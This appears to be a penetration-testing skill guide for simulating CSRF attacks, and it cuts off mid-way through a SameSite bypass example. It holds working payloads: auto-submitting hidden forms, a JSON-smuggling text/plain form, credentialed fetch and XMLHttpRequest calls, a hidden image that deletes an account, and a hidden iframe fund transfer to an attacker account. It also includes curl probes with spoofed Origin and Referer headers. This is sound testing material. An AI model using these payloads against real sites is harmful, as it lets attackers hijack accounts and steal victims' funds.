performing-csrf-attack-simulation

What this skill does

# Performing CSRF Attack Simulation

## When to Use

- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
- When testing the effectiveness of anti-CSRF token implementations
- For validating SameSite cookie attribute enforcement across different browsers
- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
- During security audits of custom authentication and session management mechanisms

## Prerequisites

- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: With CSRF PoC generator functionality
- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)
- **Two browsers**: One authenticated as victim, one as attacker
- **Target application**: Authenticated session with valid test credentials
- **HTML/JavaScript knowledge**: For crafting custom CSRF payloads


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1: Identify State-Changing Requests

Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.

```
# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

[email protected]

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation
```

### Step 2: Analyze Anti-CSRF Token Implementation

Test the strength and enforcement of any CSRF protections present.

```bash
# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "[email protected]&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"
```

### Step 3: Check SameSite Cookie and Header Protections

Verify browser-level and header-based CSRF defenses.

```bash
# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)

# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with evil Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with spoofed Origin
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"
```

### Step 4: Generate CSRF Proof-of-Concept with Burp Suite

Use Burp's built-in CSRF PoC generator for rapid testing.

```
# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC

# Burp generates HTML like:
```

```html
<!-- Auto-submitting CSRF PoC for form-encoded POST -->
<html>
  <body>
    <h1>Loading...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="[email protected]" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>
```

### Step 5: Craft Advanced CSRF Payloads

For JSON APIs and other non-standard content types, use advanced techniques.

```html
<!-- CSRF for JSON API using form with enctype -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"[email protected]","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "[email protected]"}));
</script>

<!-- CSRF via fetch API -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "[email protected]"
});
</script>

<!-- CSRF via image tag (GET-based state change) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- Multi-step CSRF with iframe -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
```

### Step 6: Test and Validate the CSRF Attack

Host the PoC and confirm successful exploitation.

```bash
# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC file structure:
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC page
#   change-email.html   <- Email change CSRF
#   transfer.html       <- Fund transfer CSRF

# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application

# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag
```

```html
<!-- SameSite=Lax bypass using top-level navigation -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable